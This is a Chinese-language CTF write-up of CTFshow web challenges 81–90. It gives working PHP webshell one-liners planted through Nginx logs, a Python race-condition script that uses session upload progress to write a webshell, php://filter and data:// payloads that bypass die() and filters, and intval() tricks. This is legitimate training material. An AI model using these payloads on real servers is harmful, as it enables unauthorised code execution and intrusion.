《CTFshow-Web入门》09. Web 81~90

2023-11-15


ctf - web入门

索引

  • web81:include() 利用,一句话木马之 Nginx 日志利用。
  • web82~86:include() 利用,条件竞争,利用 session 文件写入一句话木马。
  • web87:file_put_contents() 利用,伪协议 php://filter/
  • web88:include() 利用,正则绕过,伪协议 data://
  • web89:PHP 特性之 intval()。
  • web90:PHP 特性之 intval()。

web81

和 web80 类似。

这一题发现一个问题。如果不使用 BurpSuite 传递一句话木马,可能木马写进日志时特殊字符会被 url 编码,导致木马失效。

刚做这题时使用 hackbar 传参出现了这个问题。可能是编码问题。

题解

比 web80 多过滤了【:】。

在这里插入图片描述

可以继续用 web80 的方法。

看下日志。

url + ?file=/var/log/nginx/access.log

传递一句话木马。

url + ?file=<?=eval($_POST['hi']);?>

在这里插入图片描述

蚁剑连接日志文件。

url地址:url + ?file=/var/log/nginx/access.log
密码:hi

连上之后即可。

web82

题解

该题较上一题多过滤了【.】。

在这里插入图片描述

方法一:使用下面的脚本。这个脚本适用于 web82~web86。

import requests
import io
import threading


url='http://b04c7980-d374-4c39-9ebc-a612708262c8.challenge.ctf.show/'
sessionid='ctfshow'
data={
	"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
}  

'''
post 传递内容可在网站目录下写入一句话木马。
根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控,所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功,就说明木马植入了
'''


# /tmp/sess_sessionid 中写入一句话木马。
def write(session):  
	fileBytes = io.BytesIO(b'a'*1024*50)
	while True:
		response=session.post(
			url,
			data={
			'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
			},
			cookies={
			'PHPSESSID':sessionid
			},
			files={
			'file':('ctfshow.jpg',fileBytes)
			}
			)


# 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
def read(session):
	while True:
		response=session.post(
			url+'?file=/tmp/sess_'+sessionid,
	        data=data,
			cookies={
			'PHPSESSID':sessionid
			}
			)
		# 访问木马文件,如果访问到了就代表竞争成功
		resposne2=session.get(url+'muma.php')
		if resposne2.status_code==200:
			print('++++++done++++++')
		else:
			print(resposne2.status_code)

if __name__ == '__main__':

	evnet=threading.Event()
	# 写入和访问分别设置 5 个线程。
	with requests.session() as session:
		for i in range(5):
			threading.Thread(target=write,args=(session,)).start()
		for i in range(5):
			threading.Thread(target=read,args=(session,)).start()

	evnet.set()

运行脚本并成功写入后即可访问木马。

在这里插入图片描述

在这里插入图片描述

方法二:直接使用 burp。

参考文章:
[CTFSHOW]文件包含78-88
web入门文件包含82-86

原理

条件竞争。

例如,当打开一个文件时,就无法删除该文件。
所以,只要在上传文件的瞬间访问它,服务器来不及执行删除操作,就无法删除该文件。

参考文章:
ctfshow学习记录-web入门(文件包含78-87)
利用session.upload_progress进行文件包含和反序列化渗透

web83

题解

在这里插入图片描述

加了两个函数:

session_unset():
释放当前在内存中已经创建的所有$_SESSION变量,但不删除session文件。

session_destroy():
删除当前用户对应的session文件以及释放sessionid。

但条件竞争使用的是上传那一瞬间创建的 session,所以不影响。

依旧使用 web82 的脚本。

web84

题解

在这里插入图片描述

system(rm -rf /tmp/*);,因为 session.upload_progress.cleanup = on 会清空对应 session 文件中的内容,所以加上删除对竞争的影响不大。

依旧使用 web82 的脚本。

web85

题解

在这里插入图片描述

增加了内容识别,如果有【<】就 die,不影响竞争。

依旧使用 web82 的脚本。

web86

题解

在这里插入图片描述

dirname(__FILE__):表示当前文件的绝对路径。
set_include_path():用来设置 include 的路径,即 include() 可以不提供文件的完整路径。

include 文件时,当包含路径既不是相对路径,也不是绝对路径时,会先查找 include_path 所设置的目录。

web82 脚本里用的是完整路径,不影响竞争。

web87

题解

根据题目,可以根据 file 生成一个 php 文件,文件内容可由 content 参数传递。

在这里插入图片描述

注意看,传过去的 file 参数经过了 urldecode() 函数解码。所以 file 参数的内容要经过 url 编码再传递。同时网络传递时会对 url 编码的内容解一次码,所以需要对内容进行两次url编码。

另外,需要绕过 die() 函数。

根据文章 谈一谈php://filter的妙用 ,可以有以下思路:

  • base64 编码范围是 0 ~ 9,a ~ z,A ~ Z,+,/ ,所以除了这些字符,其他字符都会被忽略。
  • 所以对于 <?php die('大佬别秀了');?> ,base64 编解码过滤之后就只有 phpdie 6个字符了,即可进行绕过。
  • 前面的 file 参数用 php://filter/write=convert.base64-encode 来解码写入,这样文件的 die() 就会被 base64 过滤,这样 die() 函数就绕过了。
  • 后面再拼接 base64 编码后的一句话木马或者 php 代码,被解码后刚好可以执行。
  • 由于 base64 是4个一组,而 phpdie 只有六个,所以要加两个字母凑足base64的格式。

这题传参时,file 用 get 方法,content 用 post 方法。

思路说完了,开搞开搞。

php://filter/write=convert.base64-decode/resource=123.php 进行两次 url 编码。(服务器生成 123.php 文件)

在这里插入图片描述

php://filter/write=convert.base64-decode/resource=123.php
两次 url 编码:
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

接下来对于 content 参数,就有很多方法了。

法一

可传递 <?php system('ls'); ,需 base64 编码:

<?php system('ls');
base64 编码:
PD9waHAgc3lzdGVtKCdscycpOw==

传递 file 参数与 content 参数,content 需要添加两个字母凑数,这里添加 aa。

url + ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

content=aaPD9waHAgc3lzdGVtKCdscycpOw==

在这里插入图片描述

然后可查看生成的 123.php 文件。

url + 123.php

在这里插入图片描述

发现 fl0g.php 文件。

那就传递 <?php system('cat f*.php');

<?php system('cat f*.php');
base64 编码:
PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7

传递 file 参数与 content 参数。

url + ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

content=aaPD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7

再次查看 123.php 即可。

在这里插入图片描述

法二

直接传递一句话木马 <?=eval($_POST['hi']);

<?=eval($_POST['hi']);
base64 编码:
PD89ZXZhbCgkX1BPU1RbJ2hpJ10pOw==

传递 file 参数与 content 参数,content 需要添加两个字母凑数,这里添加 aa。

url + ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

content=aaPD89ZXZhbCgkX1BPU1RbJ2hpJ10pOw==

在这里插入图片描述

蚁剑连接 123.php 即可。

在这里插入图片描述

法三

这是 CTFshow 提供的 writeup:

php://filter/write=string.rot13/resource=2.php

这里就先不尝试了。

这题不知道为什么传 content 参数时,php 语句不要加末尾的 “ ?> ”。可能什么地方出了问题。

原理

  • file_put_contents(filename, data):将数据写入文件。
  • urldecode():解码已编码的 URL 字符串。

谈一谈php://filter的妙用

web88

题解

这一题可以用 data:// 协议。

在这里插入图片描述

过滤了 “ = ” 号,如果构造命令时,base64 编码出现 “ = ”,可以尝试在后面加空格,避免等号出现。

构造 <?php system('cat f*.php');?> 。在语句后添加空格避免出现等号。

<?php system('cat f*.php');?> 
base64 编码:
PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4g

url + ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4g

传参后查看源码即可。

web89

题解

在这里插入图片描述

  • preg_match()
    执行匹配正则表达式。只能处理字符串,所以当传入数组时会返回 false。
  • intval(value)
    用于获取变量的整数值。成功时返回 value 的 integer 值,失败时返回 0。空的数组返回 0,非空的数组返回 1。

所以这题传个数组就行。

url + ?num[]=1

在这里插入图片描述

web90

题解

在这里插入图片描述

  • intval(mixed $value, int $base = 10)
    通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。

如果 base 是 0,通过检测 value 的格式来决定使用的进制:

  • 如果字符串包括了 “0x”(或 “0X”)的前缀,使用 16 进制(hex)
  • 如果字符串以 “0” 开始,使用 8 进制(octal)
  • 否则将使用 10 进制(decimal)。

intval() 还有一个特性。输入的值如果是字符串,它返回的内容取决于第一个字符左侧的数字。如 intval(‘11a22’)=11。

法一

使用非十进制数传递:

在这里插入图片描述

url + ?num=010574

法二

url + ?num=4476a

美人赠我锦绣段,何以报之青玉案。

——《四愁诗》(两汉)张衡

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

《CTFshow-Web入门》09. Web 81~90 的相关文章

  • CSS之继承

    1 什么是css继承 继承是css中非常重要的一个概念 当你为HTML中的某个元素赋予CSS样式时 这些样式不仅仅会影响当前元素 有的样式还会影响该元素的子元素 这些下层子元素继承上层祖先元素样式属性的特点 就称为css继承 2 css继承
  • 职业规划——我是如何在第一份工作中就能做到部门副经理的?

    这个标题一出来 想必应该就有相当一部分人在无限嘴嗨 what 这人装啥B 吹B也不带打草稿的 还以为是哪个大厂出来的 就一无名小公司 坐上去不停容易的嘛 还发出来博人眼球干啥 是的 您没看错 就是一名非计算机专业毕业的98年大专生 在一家有
  • PHP集成环境vscode配置debug

    PHP集成环境vscode配置debug 1 首先phpstudy配置下图 打开XDebug 监听端口9005 2 php ini配置 当前环境对应版本的php ini文件 用记事本打开 确认最后的XDebug如下 Xdebug zend

随机推荐

  • 增加数据盘 小于2T XFS文件系统

    parted dev sdb mklabel msdos mkpart p xfs 0 100 mkfs xfs dev sdb1 blkid Edit etc fstab and add UUID
  • 【C语言】快速排序函数qsort()

    快速排序函数 函数原型 各种数据类型的升序排序函数 1 整型 2 double型 3 字符排序 4 字符串排序 1 根据字符串首字母排序 2 根据字符串长度排序 3 按字典排序字符串 5 结构体 1 一级排序 2 二级排序 具体样例 1 整
  • rust开发工具

    文章目录 介绍 安装Rust 检测 安装vscode 安装Visual C 远程开发 在WSL上远程开发 SSL 远程开发 插件 技巧 idea或clion rust插件 介绍 支持Rust开发最好的开发工具有VS CODE SUBLIME
  • 用matlab画散点图,并指定点与点之间的连线

    用matlab画散点图不难 用scatter函数就行了 主要难在要指定点与点之间连线 关键在于使用gplot函数 语法 gplot A Coordinates gplot A Coordinates LineSpec X Y gplot A
  • GTK3.20安装win10主题和图标

    书接上回win10专业版vs2017编译最新版GTK的两种方法 编译完成后 生成的文件位于C gtk build gtk x64 release 把C gtk build gtk x64 release bin放到环境变量 在vs工程里引用
  • 软件定义网络 (SDN)技术原理详解

    一 SDN相关概念 1 大二层网络 互联网时代 用户的访问称之为南北向流量 而数据中心之间的数据传递成为东西向流量 很多情况下 需要不同的数据中心之间进行数据访问 数据同步 而去同步这些流量要求对这个安全性 以及稳定性有一定的挑战 而让这些
  • vue 纯前端导出 excel

    1 安装2个依赖 npm install file saver xlsx S 加载script 需要 npm install script loader D 2 在 src 目录下新建 vendor文件夹 用于存放 Blob js 和 Ex
  • 浅谈list的remove方法

    List list new ArrayList lt gt list add 11 list add 12 list add 13 list add 14 list add 15 list add 16 for Integer i 0 i
  • MATLAB 学习笔记(4)MATLAB 数组

    目录 MATLAB数组 MATLAB中的特殊阵列 MATLAB 魔方矩阵 MATLAB 多维数组 详细例子 MATLAB数组函数 详细示例 MATLAB数组排序 MATLAB单元阵列 注意 详细例子 MATLAB在单元格上阵列访问数据 MA
  • [Jenkins创建windows子节点]

    正常部署Jenkins有两种方式 一个是直接war或者msi的包在windows系统上搭建 但是windows搭建一般是自己本机进行测试 如果有多台机器同时持续集成的时候 windows并不是一个合适的方式 之前我们已经搭建了一个Rocky
  • 美团笔试题 淘汰分数

    美团笔试题 淘汰分数 某比赛已经进入了淘汰赛阶段 已知共有n名选手参与了此阶段比赛 他们的得分分别是a 1 a 2 a n 小美作为比赛的裁判希望设定一个分数线m 使得所有分数大于m的选手晋级 其他人淘汰 但是为了保护粉丝脆弱的心脏 小美希
  • TCP传输中使用AES加密和gizp压缩

    最近项目需求需要用到TCP传输 为了保证安全传输使用AES 为了使 传输过程中减 数据量小 使用gzip压缩 特此分享一哈 一 AES加密 关于AES的资料网上很多 个人觉得 加密与解密 第三版 很不错 这本书中P155开始讲AES 下载地
  • linux下c 和dlib实现人脸识别,人脸识别(dlib版)-1 dlib 安装及基础使用

    Dlib 是一个 C 工具库 包含机器学习算法 图像处理 网络及一些工具类库 在工业界 学术界都得到广泛使用 接下来的几篇文章中 我将会分享 dlib 库在人脸识别中的应用 这篇文章 将介绍dlib库的安装及基础使用 安装 推荐使用编译源码
  • pycharm如何连接hive数据库

    pip install pyhive from pyhive import hive 查询所有数据库 conn hive Connection host IP地址 username 用户名 database 数据库 auth NOSASL
  • 【华为OD机试真题 JAVA】找到它

    JS版 华为OD机试真题 JS 找到它 标题 找到它 时间限制 1秒 内存限制 65536K 语言限制 不限 找到它是个小游戏 你需要在一个矩阵中找到给定的单词 假设给定单词HELLOWORLD 在矩阵中只要能找到H gt E gt L g
  • 用加持了大模型的 Byzer-Notebook 做数据分析是什么体验

    Byzer Notebook 是专门为 SQL 而研发的一款 Web Notebook 他的第一公民是 SQL 而 Jupyter 则是是以 Python 为第一公民的 随着 Byzer 引擎对大模型能力的支持日渐完善 Byzer Note
  • IDA中的_OWORD

    IDA中的 OWORD 一个有意思的巧合 OWORD的含义 总结 阅读之前注意 本文阅读建议用时 5min 本文阅读结构如下表 项目 下属项目 测试用例数量 一个有意思的巧合 无 0 OWORD的含义 无 1 总结 无 0 一个有意思的巧合
  • ERP系统31.83版本发布,一键极速连接企业供应链!

    近日 ERP系统31 83版本正式发布 无处不在的互联网 正在改变企业与用户的连接方式 一旦享受过什么叫实时 就再也无法忍受延迟 一旦感受过什么叫便捷 就再也无法忍受繁琐 企业如何全方位提高服务效率和用户体验 此次升级的智邦国际ERP系统3
  • Excel表格中函数CEILING的用法

    今天查找Excel表格中CEILING函数的用法 解答的人说的天花乱坠 但是就是描述不清楚 自己去试验了一下 才清楚了 发个博客 CEILING函数是将参数Number向上舍入 沿绝对值增大的方向 为最接近的 significance 的倍
  • 《CTFshow-Web入门》09. Web 81~90

    Web 入门 索引 web81 题解 web82 题解 原理 web83 题解 web84 题解 web85 题解 web86 题解 web87 题解 原理 web88 题解 web89 题解 web90 题解 ctf web入门 索引 w